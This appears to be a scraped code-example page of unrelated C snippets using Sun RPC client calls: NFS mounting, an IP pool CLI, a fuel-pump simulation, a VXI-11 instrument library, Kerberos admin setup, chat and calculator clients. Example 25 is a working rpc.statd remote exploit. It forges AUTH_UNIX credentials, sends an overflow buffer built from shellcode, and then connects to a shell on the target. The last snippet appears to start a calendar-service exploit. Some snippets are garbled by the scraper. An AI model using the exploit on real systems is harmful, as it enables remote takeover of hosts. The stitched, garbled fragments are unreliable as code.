		fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fsock < 0) {
		perror(_("nfs socket"));
		goto fail;
	}
	if (bindresvport(fsock, 0) < 0) {
		perror(_("nfs bindresvport"));
		goto fail;
	}
	if (port == 0) {
		server_addr.sin_port = PMAPPORT;
		port = pmap_getport(&server_addr, nfsprog, nfsvers,
			tcp ? IPPROTO_TCP : IPPROTO_UDP);
		if (port == 0)
			port = NFS_PORT;
#ifdef NFS_MOUNT_DEBUG
		else
			printf(_("used portmapper to find NFS port\n"));
#endif
	}
#ifdef NFS_MOUNT_DEBUG
	printf(_("using port %d for nfs deamon\n"), port);
#endif
	server_addr.sin_port = htons(port);
	 /*
	  * connect() the socket for kernels 1.3.10 and below only,
	  * to avoid problems with multihomed hosts.
	  * --Swen
	  */
	if (get_kernel_revision() <= 66314
	    && connect(fsock, (struct sockaddr *) &server_addr,
		       sizeof (server_addr)) < 0) {
		perror(_("nfs connect"));
		goto fail;
	}

	/* prepare data structure for kernel */

	data.fd = fsock;
	memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr));
	strncpy(data.hostname, hostname, sizeof(data.hostname));

	/* clean up */

	auth_destroy(mclient->cl_auth);
	clnt_destroy(mclient);
	close(msock);
	return 0;

	/* abort */

fail:
	if (msock != -1) {
		if (mclient) {
			auth_destroy(mclient->cl_auth);
			clnt_destroy(mclient);
		}
		close(msock);
	}
	if (fsock != -1)
		close(fsock);
	return retval;
}	
Ejemplo n.º 21
0
static int ippool_act_ip_pool_show(struct cli_node *node, int argc, char *argv[], int *arg_num)
{
	char *pool_name = NULL;
	IPPOOL_ACT_DECLARATIONS(4, ippool_arg_ids_t, struct ippool_api_pool_msg_data);

	IPPOOL_ACT_BEGIN() {
		switch (arg_id) {
		case IPPOOL_ARGID_POOL_NAME:
			pool_name = arg_values[arg];
			break;
		default:
			result = -EINVAL;
			goto out;
		}
	} IPPOOL_ACT_END();

	if (pool_name == NULL) {
		fprintf(stderr, "Required pool_name argument missing\n");
		result = -EINVAL;
		goto out;
	}

	memset(&clnt_res, 0, sizeof(clnt_res));
	result = ippool_get_1(pool_name, &clnt_res, cl);
	if (result != RPC_SUCCESS) {
		clnt_perror(cl, server);
		result = -EAGAIN;
		goto out;
	}

	if (clnt_res.result_code < 0) {
		fprintf(stderr, "Operation failed: %s\n", strerror(-clnt_res.result_code));
		result = clnt_res.result_code;
		goto out;
	}

	result = 0;
	printf("IP pool %s:-\n", clnt_res.pool_name);
	printf("  max pool size: %d%s\n",
	       clnt_res.max_addrs, (clnt_res.max_addrs == 0) ? " (unlimited)" : "");
	printf("  debug messages: %s, drain: %s\n",
	       clnt_res.trace ? "YES" : "NO", clnt_res.drain ? "YES" : "NO");
	printf("  address blocks:-\n");
	if (clnt_res.addr_block.addr_block_len > 0) {
		ippool_act_ip_pool_addrblock_show(clnt_res.addr_block.addr_block_val, clnt_res.addr_block.addr_block_len, 0);
	} else {
		printf("    none\n");
	}
	if (clnt_res.rsvd_block.rsvd_block_len > 0) {
		printf("  reserved address blocks:-\n");
		ippool_act_ip_pool_addrblock_show(clnt_res.rsvd_block.rsvd_block_val, clnt_res.rsvd_block.rsvd_block_len, 0);
	}
	printf("  total addresses: %d, available: %d\n",
	       clnt_res.num_addrs, clnt_res.num_avail);
	printf("  pool use statistics:-\n");
	printf("    allocs: %lu, frees: %lu, alloc_fails: %lu\n",
	       clnt_res.stats.num_allocs, clnt_res.stats.num_frees, clnt_res.stats.num_alloc_fails);

	if (clnt_res.avail_block.avail_block_len > 0) {
		printf("  available address blocks:-\n");
		ippool_act_ip_pool_addrblock_show(clnt_res.avail_block.avail_block_val, clnt_res.avail_block.avail_block_len, 1);
	}

	printf("\n");

out:
	return result;
}
Ejemplo n.º 22
0
static int ippool_config_save(const char *file_name)
{
	struct ippool_api_pool_msg_data ip_pool;
	struct ippool_api_pool_list_msg_data ip_pool_list;
	struct ippool_api_pool_list_entry *ippwalk;
	int index;
	char **names;
	int result = 0;
	FILE *file;

	/* Open the output stream */
	
	if (file_name != NULL) {
		file = fopen(file_name, "w");
		if (file == NULL) {
			fprintf(stderr, "Failed to open output file %s: %m\n", file_name);
			result = -errno;
			goto out;
		}
	} else {
		file = stdout;
	}

	fprintf(file, "\n# ip pools\n");
	memset(&ip_pool_list, 0, sizeof(ip_pool_list));
	result = ippool_list_1(&ip_pool_list, cl);
	if (result != RPC_SUCCESS) {
		clnt_perror(cl, server);
		result = -EAGAIN;
		goto out;
	}
	if (ip_pool_list.result != 0) {
		fprintf(stderr, "Operation failed: %s\n", strerror(-ip_pool_list.result));
		result = ip_pool_list.result;
		goto out;
	}

	if (ip_pool_list.num_pools > 0) {
		names = calloc(ip_pool_list.num_pools, sizeof(names[0]));
		if (names == NULL) {
			fprintf(stderr, "Operation failed: %s\n", strerror(ENOMEM));
			goto out;
		}
	
		ippwalk = ip_pool_list.pools;
		for (index = 0; index < ip_pool_list.num_pools; index++) {
			if ((ippwalk == NULL) || (ippwalk->pool_name[0] == '\0')) {
				break;
			}
			names[index] = ippwalk->pool_name;
			ippwalk = ippwalk->next;
		}	

		/* Sort the pool names */
		qsort(&names[0], index, sizeof(names[0]), ippool_name_compare);

		for (index = 0; index < ip_pool_list.num_pools; index++) {
			memset(&ip_pool, 0, sizeof(ip_pool));
			result = ippool_get_1(names[index], &ip_pool, cl);
			if (result != RPC_SUCCESS) {
				clnt_perror(cl, server);
				result = -EAGAIN;
				goto out_pool;
			}

			if (ip_pool.result_code < 0) {
				continue;
			}

			ippool_config_dump(file, &ip_pool);
		}

	out_pool:
		free(names);
	}

out:
	if (file != NULL) {
		fflush(file);
		fclose(file);
	}

	return result;
}
Ejemplo n.º 23
0
int main(int argc, char *argv[]){
  
  char nombre[MAX_LONG];  // Nombre de esta Bomba
  char *nombre_pointer= &nombre[0]; // para poder enviarlo por RPC 
  int capMax;             // Capacidad Máxima (Litros)
  char archivo[MAX_LONG]; // Nombre de archivo "DNS"

  // Datos de los servidores
  char* nombres[MAX_SERVERS];
  char* direcciones[MAX_SERVERS];
  int tiempos[MAX_SERVERS]; //tiempos de respuesta
  CLIENT *clnts[MAX_SERVERS];

  // Validar y obtener argumentos del cliente
  argumentos_cliente(argc,argv,nombre,&inventario,&consumo,&capMax,archivo);

  obtener_lista_dns(archivo, nombres,direcciones);
 
  // creacion del archivo LOG del cliente
  char nombre_LOG[MAX_LONG];
  sprintf(nombre_LOG,"log_%s.txt",nombre);
  LOG = fopen(nombre_LOG,"w");

  fprintf(LOG,"Inventario inicial %d \n ", inventario);
  if(inventario == 0) fprintf(LOG,"Tanque vacio: 0 minutos \n");
  if(inventario == capMax) fprintf(LOG,"Tanque full: 0 minutos \n");
  
  // PEDIR TIEMPOS
  int k = 0;
  while ((direcciones[k]) != NULL){

    clnts[k]= clnt_create (direcciones[k], SERVICIOPDVSA, SERVICIOPDVSAVERS, "tcp");
    if(clnts[k] == NULL){
      clnt_pcreateerror( direcciones[k] );
      tiempos[k] = 500;
      k = k + 1;
      continue;
    }
     
    int *result = pedir_tiempo_1(NULL,clnts[k]);
    if ( result == (int *)NULL){
      clnt_perror( clnts[k], "Error al conectar con servidor");
      tiempos[k] = 500;
    }else{
      tiempos[k]= *result;
    }
    
    k = k + 1;
  }
 
  // ORDENAR EL ARREGLO DE TIEMPOS y TODOS LOS DEMAS 
  int i = 0 ;
  int minimo;
  int j;
 
  while (nombres[i]!=NULL){
   
    minimo = i;
    j = i + 1;
    while (nombres[j]!=NULL){
      if (tiempos[j] < tiempos[minimo]){
	minimo = j;
      }
      j = j +1;   
    }
  
    swap(&tiempos[i],&tiempos[minimo]);
    swapLetras(&nombres[i],&nombres[minimo]);
    swapLetras(&direcciones[i],&direcciones[minimo]);
    swapPointer(&clnts[i],&clnts[minimo]);
    i=i+1;
  }
 

  // Iniciar contador de tiempo 
  pthread_t contador_tiempo;
  int tiempo = 0;
  pthread_create(&contador_tiempo,NULL,llevar_tiempo,&tiempo);
 
  /**** INICIO DE LA SIMULACION ****/   
  int r = 0;

  while (tiempo <= 480){
    //Iterar sobre los servidores pidiendo gasolina
    
    if(direcciones[r] == NULL){
      // Si llegamos al final de la lista, reiniciar.
      r = 0;
      usleep(100000);
    }

    if ((capMax-inventario)>=38000){

      // Verificar si el servidor no respondió al pedir tiempos
      if (tiempos[r] == 500){ 
	r = r +1;
	continue;
      }

      // Pedir gasolina al servidor num r, almacenar respuesta en buffer gasolina
      char gasolina[20];
      char **result2 = pedir_gasolina_1( &nombre_pointer, clnts[r] );
      if ( result2 == (char **)NULL){
	clnt_perror( clnts[r], "Error al conectar con servidor");
	r = r+1;
	continue;
      }else{
	strcpy(gasolina,*result2);
      }
      
      // Procesar respuesta del servidor
      if (strcmp(gasolina,"noDisponible") == 0){

	fprintf(LOG,"Peticion: %d minutos, %s , No disponible, %d litros \n",
		tiempo, nombres[r],inventario);

	// Pedir gasolina al siguiente servidor en la lista
	r = r + 1; 
	continue;

	// si su ticket no esta vigente o no tiene ticket 
      } else if ( strcmp(gasolina,"noTicket") == 0 ){

	 int *retoInt = pedir_reto_1(NULL,clnts[r]);
 

	 // convertir el reto de int a string
	 char retoStr[10];
	 sprintf(&retoStr[0],"%d",*retoInt);

	 // Aplicar el algoritmo MD5
	 unsigned char respUChar[16];
	 MDString (&retoStr[0],&respUChar[0]);
	
	 // Convertir la respuesta a String
	 char respString[33];
	 int i;
	 for(i = 0; i < 16; ++i)
	   sprintf(&respString[i*2], "%02x", (unsigned int)respUChar[i]);

	 // Para que RPC nos permita pasarlo como argumento
	 char *respStr= (char*) &respString[0];
	 int *resp = enviar_respuesta_1(&respStr, clnts[r]);
	 
	 if ( *resp == -1){
	   fprintf(LOG,"Autenticacion Fallida \n");
	   r = r + 1;
	   continue;
	 }else{
	   fprintf(LOG,"Autenticacion Correcta\n");
	   continue;
	   
	 } 
	 
      } else {
	// El ticket aun sigue vigente . Esperar y recibir gasolina.

	fprintf(LOG,"Peticion: %d minutos, %s, OK, %d litros  \n",
		tiempo, nombres[r],inventario);
	
	usleep((tiempos[r]+1)*100000); 
	
	pthread_mutex_lock(&mutex);
	inventario = inventario + 38000;
	pthread_mutex_unlock(&mutex);
	
	fprintf(LOG,"Llegada Gandola: %d minutos, %d litros \n", tiempo,inventario);
	if (inventario==capMax){ fprintf(LOG,"Tanque Full: %d minutos\n",tiempo);}
	
	// Reiniciar la busqueda de servidores activos
	r = 0;
      } 
      
    }// fin del if (que verifica si se necesita gasolina)

  }// Fin del while (Se acabó el tiempo)

  fclose(LOG);  
  return 0;
}
Ejemplo n.º 24
0
int	vxi11_close_link_client(const char *inputip, CLIENT *client, VXI11_LINK *link) {
Device_Error dev_error;
#ifdef __APPLE__
	char ip[strlen(inputip)];
	strcpy(ip, inputip);
#else
	const char *ip = inputip;
#endif


	memset(&dev_error, 0, sizeof(dev_error)); 

#ifdef __APPLE__
	if (destroy_link_1(&link->lid, client) == NULL) {
#else
	if (destroy_link_1(&link->lid, &dev_error, client) != RPC_SUCCESS) {
#endif
		clnt_perror(client,ip);
		return -1;
		}

	return 0;
	}


/* SEND FUNCTIONS *
 * ============== */

/* A _lot_ of the time we are sending text strings, and can safely rely on
 * strlen(cmd). */
int	vxi11_send_client(CLIENT *client, VXI11_LINK *link, const char *cmd) {
	return vxi11_send_data_client(client, link, cmd, strlen(cmd));
	}

/* We still need the version of the function where the length is set explicitly
 * though, for when we are sending fixed length data blocks. */
int	vxi11_send_data_client(CLIENT *client, VXI11_LINK *link, const char *cmd, unsigned long len) {
Device_WriteParms write_parms;
unsigned int	bytes_left = len;
char	*send_cmd;

	send_cmd = (char *)malloc(len);
	memcpy(send_cmd, cmd, len);

	write_parms.lid			= link->lid;
	write_parms.io_timeout		= VXI11_DEFAULT_TIMEOUT;
	write_parms.lock_timeout	= VXI11_DEFAULT_TIMEOUT;

/* We can only write (link->maxRecvSize) bytes at a time, so we sit in a loop,
 * writing a chunk at a time, until we're done. */

	do {
		Device_WriteResp write_resp;
		memset(&write_resp, 0, sizeof(write_resp));

		if (bytes_left <= link->maxRecvSize) {
			write_parms.flags		= 8;
			write_parms.data.data_len	= bytes_left;
			}
		else {
			write_parms.flags		= 0;
			/* We need to check that maxRecvSize is a sane value (ie >0). Believe it
			 * or not, on some versions of Agilent Infiniium scope firmware the scope
			 * returned "0", which breaks Rule B.6.3 of the VXI-11 protocol. Nevertheless
			 * we need to catch this, otherwise the program just hangs. */
			if (link->maxRecvSize > 0) {
				write_parms.data.data_len	= link->maxRecvSize;
				}
			else {
				write_parms.data.data_len	= 4096; /* pretty much anything should be able to cope with 4kB */
				}
			}
		write_parms.data.data_val	= send_cmd + (len - bytes_left);
		
#ifdef __APPLE__
		Device_WriteResp *tmp;
		if((tmp = device_write_1(&write_parms, client)) == NULL) {
#else
		if(device_write_1(&write_parms, &write_resp, client) != RPC_SUCCESS) {
#endif
			free(send_cmd);
			return -VXI11_NULL_WRITE_RESP; /* The instrument did not acknowledge the write, just completely
							  dropped it. There was no vxi11 comms error as such, the 
							  instrument is just being rude. Usually occurs when the instrument
							  is busy. If we don't check this first, then the following 
							  line causes a seg fault */
			}
#ifdef __APPLE__
		memcpy(&write_resp, tmp, sizeof(*tmp));
#endif
		if (write_resp.error != 0) {
			printf("vxi11_user: write error: %d\n", (int)write_resp.error);
			free(send_cmd);
			return -(write_resp.error);
			}
		bytes_left -= write_resp.size;
		} while (bytes_left > 0);

	free(send_cmd);
	return 0;
	}


/* RECEIVE FUNCTIONS *
 * ================= */

// It appeared that this function wasn't correctly dealing with more data available than specified in len.
// This patch attempts to fix this issue.	RDP 2007/8/13

/* wrapper, for default timeout */ 
long	vxi11_receive_client(CLIENT *client, VXI11_LINK *link, char *buffer, unsigned long len) { 
	return vxi11_receive_timeout_client(client, link, buffer, len, VXI11_READ_TIMEOUT);
}

#define RCV_END_BIT	0x04	// An end indicator has been read
#define RCV_CHR_BIT	0x02	// A termchr is set in flags and a character which matches termChar is transferred
#define RCV_REQCNT_BIT	0x01	// requestSize bytes have been transferred.  This includes a request size of zero.

long	vxi11_receive_timeout_client(CLIENT *client, VXI11_LINK *link, char *buffer, unsigned long len, unsigned long timeout) {
Device_ReadParms read_parms;
Device_ReadResp  read_resp;
unsigned long	curr_pos = 0;

	read_parms.lid			= link->lid;
	read_parms.requestSize		= len;
	read_parms.io_timeout		= timeout;	/* in ms */
	read_parms.lock_timeout		= timeout;	/* in ms */
	read_parms.flags		= 0;
	read_parms.termChar		= 0;

	do {
                memset(&read_resp, 0, sizeof(read_resp));

		read_parms.requestSize = len    - curr_pos;	// Never request more total data than originally specified in len

#ifdef __APPLE__
		Device_ReadResp *tmp;
		if((tmp = device_read_1(&read_parms, client)) == NULL) {
#else
		read_resp.data.data_val = buffer + curr_pos;
		if(device_read_1(&read_parms, &read_resp, client) != RPC_SUCCESS) {
#endif
			return -VXI11_NULL_READ_RESP; /* there is nothing to read. Usually occurs after sending a query
							 which times out on the instrument. If we don't check this first,
							 then the following line causes a seg fault */
			}
#ifdef __APPLE__
		memcpy(&read_resp, tmp, sizeof(*tmp));
                memcpy(buffer + curr_pos, read_resp.data.data_val, read_resp.data.data_len);
#endif
 		if (read_resp.error != 0) {
			/* Read failed for reason specified in error code.
			*  (From published VXI-11 protocol, section B.5.2)
			*  0	no error
			*  1	syntax error
			*  3	device not accessible
			*  4	invalid link identifier
			*  5	parameter error
			*  6	channel not established
			*  8	operation not supported
			*  9	out of resources
			*  11	device locked by another link
			*  12	no lock held by this link
			*  15	I/O timeout
			*  17	I/O error
			*  21	invalid address
			*  23	abort
			*  29	channel already established
			*/

			printf("vxi11_user: read error: %d\n", (int)read_resp.error);
			return -(read_resp.error);
			}

		if((curr_pos + read_resp.data.data_len) <= len) {
			curr_pos += read_resp.data.data_len;
			}
		if( (read_resp.reason & RCV_END_BIT) || (read_resp.reason & RCV_CHR_BIT) ) {
			break;
			}
		else if( curr_pos == len ) {
			printf("xvi11_user: read error: buffer too small. Read %d bytes without hitting terminator.\n", (int)curr_pos );
			return -100;
			}
		} while(1);
	return (curr_pos); /*actual number of bytes received*/

	}
Ejemplo n.º 25
0
int
main(int argc, char **argv)
{
    int ch;
    char *buff;

    CLIENT *clnt;
    enum clnt_stat res;
    struct timeval tv, tvr;
    struct sm_name smname;
    struct sm_stat_res smres;
    struct sockaddr_in addr;

    int type = -1;
    int usetcp = 0;
    int timeout = 5;
    int wipe = 9;
    int offset = 600;
    int buflen = 1024;
    char *target;
    char *sc = shellcode;
    u_short port = 0;
    u_long bufpos = 0;

    int sockp = RPC_ANYSOCK;

    extern char *optarg;
    extern int optind;
    extern int opterr;
    opterr = 0;


    while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
    {
        switch(ch)
        {
            case 't': usetcp = 1; break;
            case 'p': sscanf(optarg, "%hu", &port); break;
            case 'a': sscanf(optarg, "%lx", &bufpos); break;
            case 'l': buflen = atoi(optarg); break;
            case 'o': offset = atoi(optarg); break;
            case 's': timeout = atoi(optarg); break;
            case 'w': wipe = atoi(optarg); break;
            case 'd': type = atoi(optarg); break;
            default : usage(argv[0]);
        }
    }

    if(!(target = argv[optind]))
    {
        fprintf(stderr, "No target host specified\n");
        exit(EXIT_FAILURE);
    }

    if(type >= 0)
    {
        if(type >= sizeof types / sizeof types[0] - 1)
        {
            fprintf(stderr, "Invalid type\n");
            exit(EXIT_FAILURE);
        }

        sc = types[type].code;
        bufpos = types[type].bufpos;
        buflen = types[type].buflen;
        offset = types[type].offset;
        wipe = types[type].wipe;
    }

    if(!bufpos)
    {
        fprintf(stderr, "No buffer address specified\n");
        exit(EXIT_FAILURE);
    }

    bzero(&addr, sizeof addr);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr = getip(target);

    tv.tv_sec = timeout;
    tv.tv_usec = 0;

    if(!usetcp)
    {
        clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clntudp_create()");
            exit(EXIT_FAILURE);
        }
        tvr.tv_sec = 2;
        tvr.tv_usec = 0;
        clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
    }
    else
    {
        clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clnttcp_create()");
            exit(EXIT_FAILURE);
        }
    }

    /* AUTH_UNIX / AUTH_SYS authentication forgery */
    clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

    buff = wizardry(sc, bufpos, buflen, offset, wipe);
    smname.mon_name = buff;

    res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
        (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
        (caddr_t) &smres, tv);

    if(res != RPC_SUCCESS)
    {
        clnt_perror(clnt, "clnt_call()");
        printf("A timeout was expected. Attempting connection to shell..\n");
        sleep(5); connection(addr);
        printf("Failed\n");
    }
    else
    {
        printf("Failed - statd returned res_stat: (%s) state: %d\n",
                smres.res_stat ? "failure" : "success", smres.state);
    }

    free(buff);
    clnt_destroy(clnt);
    return -1;
}
Ejemplo n.º 26
0
static kadm5_ret_t
init_any(krb5_context context, char *client_name, enum init_type init_type,
         char *pass, krb5_ccache ccache_in, char *service_name,
         kadm5_config_params *params_in, krb5_ui_4 struct_version,
         krb5_ui_4 api_version, char **db_args, void **server_handle)
{
    int fd = -1;

    krb5_boolean iprop_enable;
    int port;
    rpcprog_t rpc_prog;
    rpcvers_t rpc_vers;
    krb5_ccache ccache;
    krb5_principal client = NULL, server = NULL;

    kadm5_server_handle_t handle;
    kadm5_config_params params_local;

    int code = 0;
    generic_ret *r;

    initialize_ovk_error_table();
/*      initialize_adb_error_table(); */
    initialize_ovku_error_table();

    if (! server_handle) {
        return EINVAL;
    }

    if (! (handle = malloc(sizeof(*handle)))) {
        return ENOMEM;
    }
    memset(handle, 0, sizeof(*handle));
    if (! (handle->lhandle = malloc(sizeof(*handle)))) {
        free(handle);
        return ENOMEM;
    }

    handle->magic_number = KADM5_SERVER_HANDLE_MAGIC;
    handle->struct_version = struct_version;
    handle->api_version = api_version;
    handle->clnt = 0;
    handle->client_socket = -1;
    handle->cache_name = 0;
    handle->destroy_cache = 0;
    handle->context = 0;
    *handle->lhandle = *handle;
    handle->lhandle->api_version = KADM5_API_VERSION_4;
    handle->lhandle->struct_version = KADM5_STRUCT_VERSION;
    handle->lhandle->lhandle = handle->lhandle;

    handle->context = context;

    if(client_name == NULL) {
        free(handle);
        return EINVAL;
    }

    /*
     * Verify the version numbers before proceeding; we can't use
     * CHECK_HANDLE because not all fields are set yet.
     */
    GENERIC_CHECK_HANDLE(handle, KADM5_OLD_LIB_API_VERSION,
                         KADM5_NEW_LIB_API_VERSION);

    memset(&params_local, 0, sizeof(params_local));

    if ((code = kadm5_get_config_params(handle->context, 0,
                                        params_in, &handle->params))) {
        free(handle);
        return(code);
    }

#define REQUIRED_PARAMS (KADM5_CONFIG_REALM |           \
                         KADM5_CONFIG_ADMIN_SERVER |    \
                         KADM5_CONFIG_KADMIND_PORT)

    if ((handle->params.mask & REQUIRED_PARAMS) != REQUIRED_PARAMS) {
        free(handle);
        return KADM5_MISSING_KRB5_CONF_PARAMS;
    }

    code = krb5_parse_name(handle->context, client_name, &client);
    if (code)
        goto error;

    /*
     * Get credentials.  Also does some fallbacks in case kadmin/fqdn
     * principal doesn't exist.
     */
    code = get_init_creds(handle, client, init_type, pass, ccache_in,
                          service_name, handle->params.realm, &server);
    if (code)
        goto error;

    /* If the service_name and client_name are iprop-centric, use the iprop
     * port and RPC identifiers. */
    iprop_enable = (service_name != NULL &&
                    strstr(service_name, KIPROP_SVC_NAME) != NULL &&
                    strstr(client_name, KIPROP_SVC_NAME) != NULL);
    if (iprop_enable) {
        port = handle->params.iprop_port;
        rpc_prog = KRB5_IPROP_PROG;
        rpc_vers = KRB5_IPROP_VERS;
    } else {
        port = handle->params.kadmind_port;
        rpc_prog = KADM;
        rpc_vers = KADMVERS;
    }

    code = connect_to_server(handle->params.admin_server, port, &fd);
    if (code)
        goto error;

    handle->clnt = clnttcp_create(NULL, rpc_prog, rpc_vers, &fd, 0, 0);
    if (handle->clnt == NULL) {
        code = KADM5_RPC_ERROR;
#ifdef DEBUG
        clnt_pcreateerror("clnttcp_create");
#endif
        goto error;
    }
    handle->client_socket = fd;
    handle->lhandle->clnt = handle->clnt;
    handle->lhandle->client_socket = fd;

    /* now that handle->clnt is set, we can check the handle */
    if ((code = _kadm5_check_handle((void *) handle)))
        goto error;

    /*
     * The RPC connection is open; establish the GSS-API
     * authentication context.
     */
    code = setup_gss(handle, params_in,
                     (init_type == INIT_CREDS) ? client : NULL, server);
    if (code)
        goto error;

    /*
     * Bypass the remainder of the code and return straightaway
     * if the gss service requested is kiprop
     */
    if (iprop_enable) {
        code = 0;
        *server_handle = (void *) handle;
        goto cleanup;
    }

    r = init_2(&handle->api_version, handle->clnt);
    if (r == NULL) {
        code = KADM5_RPC_ERROR;
#ifdef DEBUG
        clnt_perror(handle->clnt, "init_2 null resp");
#endif
        goto error;
    }
    /* Drop down to v3 wire protocol if server does not support v4 */
    if (r->code == KADM5_NEW_SERVER_API_VERSION &&
        handle->api_version == KADM5_API_VERSION_4) {
        handle->api_version = KADM5_API_VERSION_3;
        r = init_2(&handle->api_version, handle->clnt);
        if (r == NULL) {
            code = KADM5_RPC_ERROR;
            goto error;
        }
    }
    /* Drop down to v2 wire protocol if server does not support v3 */
    if (r->code == KADM5_NEW_SERVER_API_VERSION &&
        handle->api_version == KADM5_API_VERSION_3) {
        handle->api_version = KADM5_API_VERSION_2;
        r = init_2(&handle->api_version, handle->clnt);
        if (r == NULL) {
            code = KADM5_RPC_ERROR;
            goto error;
        }
    }
    if (r->code) {
        code = r->code;
        goto error;
    }

    *server_handle = (void *) handle;

    goto cleanup;

error:
    /*
     * Note that it is illegal for this code to execute if "handle"
     * has not been allocated and initialized.  I.e., don't use "goto
     * error" before the block of code at the top of the function
     * that allocates and initializes "handle".
     */
    if (handle->destroy_cache && handle->cache_name) {
        if (krb5_cc_resolve(handle->context,
                            handle->cache_name, &ccache) == 0)
            (void) krb5_cc_destroy (handle->context, ccache);
    }
    if (handle->cache_name)
        free(handle->cache_name);
    if(handle->clnt && handle->clnt->cl_auth)
        AUTH_DESTROY(handle->clnt->cl_auth);
    if(handle->clnt)
        clnt_destroy(handle->clnt);
    if (fd != -1)
        close(fd);

    kadm5_free_config_params(handle->context, &handle->params);

cleanup:
    krb5_free_principal(handle->context, client);
    krb5_free_principal(handle->context, server);
    if (code)
        free(handle);

    return code;
}
Ejemplo n.º 27
0
void
add_prog_1(char *host)
{
	CLIENT *clnt;
	outData  *result_1;
	inData  register_1_arg;
	outData  *result_2;
	//inData  login_1_arg;

#ifndef	DEBUG
	clnt = clnt_create (host, ADD_PROG, ADD_VERS, "udp");
	if (clnt == NULL) {
		clnt_pcreateerror (host);
		exit (1);
	}
#endif	/* DEBUG */
// Neeraj Start
	int value = 1;
	char* userName;
	char* password;
	char str[20],c=' ';
	int i = 0;

	printf("\n1. Register\n2. Login");
	printf("\nPlease provide your choice: ");
	scanf("%d", &register_1_arg.mode);
	if(register_1_arg.mode != 1 && register_1_arg.mode != 2) {
		printf("\nSorry, you have choosen wrong input.\n");
	} 
	else {
		printf("Enter the username: "******"%s", &register_1_arg.user);
		printf("Enter the password: "******"%s", &register_1_arg.pass);
		if(register_1_arg.mode == 1) {
			result_1 = registerRequest(&register_1_arg, clnt);
			if (result_1 == (outData *) NULL) {
				clnt_perror (clnt, "call failed");
			}
			else {
				if(result_1->rCode == 1){
					char input;
					printf("\nDo you want to login[y/n]?");
					scanf(" %c", &input);
					if(input == 'y') {
						result_2 = loginRequest(&register_1_arg, clnt);
					}
				}
			}
		}
		else if(register_1_arg.mode == 2) {
			result_2 = loginRequest(&register_1_arg, clnt);
			if (result_2 == (outData *) NULL) {
				clnt_perror (clnt, "call failed");
			}
		}
		
		
	}
#ifndef	DEBUG
	clnt_destroy (clnt);
#endif	 /* DEBUG */
}
Ejemplo n.º 28
0
int
main (int argc, char *argv[])
{

	if (argc != 3 ) {
		// printf ("usage: %s server_host\n", argv[0]);
		exit (1);
	}

operand printmessage_1_arg;
operand printmessages_1_arg;
  strcpy(printmessage_1_arg.myname,argv[1]);
  strcpy(printmessage_1_arg.message,argv[2]);
strcpy(printmessages_1_arg.myname,argv[1]);
  strcpy(printmessages_1_arg.message,argv[2]);

int choice ;

printf("What do u want to do\n1.Group Chat 2. Indivual Chat\n");
		scanf("%d", &choice);
		if(choice==2)
		{
//	FILE *fp  ;
//fp = fopen("messages","a+");

	CLIENT *clnt;
	char *server;
	server=(char*)malloc(100*sizeof(char)) ;

	operand *result_1;	

	printf("enter ip of frnd\n") ;
	scanf("%s",server) ;

	char *namefrnd ;

	namefrnd = (char*)malloc(100*sizeof(char)) ;	
	printf("enter his name\n") ;	
	scanf("%s",namefrnd) ;
	printmessage_1_arg.yourname[0]='\0' ;
	strcat(printmessage_1_arg.yourname,namefrnd) ;
	
	

	clnt = clnt_create (server, MESSAGEPROG, PRINTMESSAGEVERS, "udp");
	
	if (clnt == NULL) {
		//clnt_pcreateerror (server);
		exit (1);
	}


	while(1)
{
	result_1 = (operand*)printmessage_1(&printmessage_1_arg, clnt);
	if (result_1 == (operand *) NULL) {
		clnt_perror (clnt, "call failed");
	}


			
	printf("%s : %s \n",result_1->myname,result_1->message) ;
	// fprintf(fp,"%s : %s \n",result_1->myname,result_1->message);
	//fclose(fp) ;	
printf("REPLY\n") ;	
scanf("%s",&(printmessage_1_arg.message)) ;

	if(strcmp(printmessage_1_arg.message,"abuse")==0)
		exit(1) ;
}
	
	clnt_destroy (clnt);
		
		}

  		else
		{
			printf("enter number of people u want to add in ");			
			int n;
			scanf("%d",&n);
	int iret1 ;
int iret2 ;
  pthread_t threads1, threads2;

	iret1 = pthread_create(&threads1,NULL,chatting,&printmessage_1_arg);
	sleep(10) ;

	iret2 = pthread_create(&threads2,NULL,chatting,&printmessages_1_arg);
				
		pthread_join(threads1,NULL);

		pthread_join(threads2,NULL);
}

	}
Ejemplo n.º 29
0
void
ejercicio1_1(char *host, param arg1, char *op)
{
	CLIENT *clnt;
	int  *result;

#ifndef	DEBUG
	clnt = clnt_create (host, EJERCICIO1, EJERVER, "udp");
	if (clnt == NULL) {
		clnt_pcreateerror (host);
		exit (1);
	}
#endif	/* DEBUG */

	switch(*op) {
		case '+':
			result = suma_1(arg1, clnt);
			if (result == (int *) NULL) {
				clnt_perror (clnt, "call failed");
			}
			else
				printf("El resultado de la suma es: %d \n", *result);

			break;

		case '-':
			result = resta_1(arg1, clnt);
			if (result == (int *) NULL) {
				clnt_perror (clnt, "call failed");
			}
			else
				printf("El resultado de la resta es: %d \n", *result);

			break;
		
		case 'x':
			result = multiplica_1(arg1, clnt);
			if (result == (int *) NULL) {
				clnt_perror (clnt, "call failed");
			}
			else
				printf("El resultado de la multiplicacion es: %d \n", *result);
			
			break;
	
		case '/':		
			result = divide_1(arg1, clnt);
			if (result == (int *) NULL) {
				clnt_perror (clnt, "call failed");
			}
			else
				printf("El resultado de la division es: %d \n", *result);

			break;

		default:
			break;
	}

#ifndef	DEBUG
	clnt_destroy (clnt);
#endif	 /* DEBUG */
}
Ejemplo n.º 30
0
main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=0,vers=7,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req1_t req1;req2_t req2;appt_t ap;
    char calendar[32];

